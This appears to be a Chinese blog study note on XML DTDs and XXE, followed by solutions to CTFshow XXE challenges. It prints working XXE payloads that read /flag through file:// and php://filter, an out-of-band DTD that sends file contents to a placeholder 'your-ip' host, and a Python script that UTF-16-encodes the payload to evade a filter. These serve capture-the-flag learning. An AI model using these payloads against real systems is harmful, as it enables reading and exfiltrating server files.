本文最后更新于:2022年1月15日晚上10点59分
前言
“懂进攻,知防守,先正向,后逆向”
为了学习XXE,那就得学习XML,毕竟要先学会基础语法,才能挖掘出在开发中可能存在的安全问题。
什么是XML?
XML是一种标记语言
DTD基础
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
以上 DTD 解释如下:
!DOCTYPE note(第二行)定义此文档是 note 类型的文档。
!ELEMENT note(第三行)定义 note 元素有四个元素:”to、from、heading,、body”
!ELEMENT to(第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from(第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading(第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD实体
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE test[ <!ENTITY author "Lxxx"> <!ENTITY date "2021/01/15"> ]> <author> &author; <date> &date; </date> </author>
|

参数实体
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
1 2 3 4 5 6
| <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://your-ip:6789/xxe.dtd"> %aaa; ]> <root>123</root>
|
xxe.dtd
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://your-ip:6789/%file;'> "> %dtd; %xxe;
|
CTFshow XXE系列题目题解
Web373
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
直接用DTD读
1 2 3 4 5 6
| <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <Lxxx> <ctfshow>&xxe;</ctfshow> </Lxxx>
|
Web374-376
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| GET / HTTP/1.1 Host: 13990428-a93c-400a-94e9-731aadca9392.challenge.ctf.show Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: UM_distinctid=17d139bb0308d4-074bb4648866ed-1c306851-16a7f0-17d139bb0311281 Connection: close Content-Length: 188
<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://your-ip:6789/xxe.dtd"> %aaa; ]> <root>123</root>
|
xxe.dtd
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://your-ip:6789/%file;'> "> %dtd; %xxe;
|

解码一下即可
Web377
exp
1 2 3 4 5 6 7 8 9 10 11
| import requests url = 'http://4a349540-18e6-46a9-945e-7cc1c7286b7e.challenge.ctf.show/' payload = """<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://your-ip:6789/xxe.dtd"> %aaa; ]> <root>123</root>""" payload = payload.encode('utf-16') requests.post(url ,data=payload)
|
xxe.dtd
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://your-ip:6789/%file;'> "> %dtd; %xxe;
|
起一个http服务
1
| python -m http.server 6789
|
Web378
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /doLogin HTTP/1.1 Host: 00d8f883-9992-4ff4-8b37-5fcd8d0acad2.challenge.ctf.show Content-Length: 126 Accept: application/xml, text/xml, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62 Content-Type: application/xml;charset=UTF-8 Origin: http://00d8f883-9992-4ff4-8b37-5fcd8d0acad2.challenge.ctf.show Referer: http://00d8f883-9992-4ff4-8b37-5fcd8d0acad2.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: UM_distinctid=17d139bb0308d4-074bb4648866ed-1c306851-16a7f0-17d139bb0311281 Connection: close
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
|
参考资料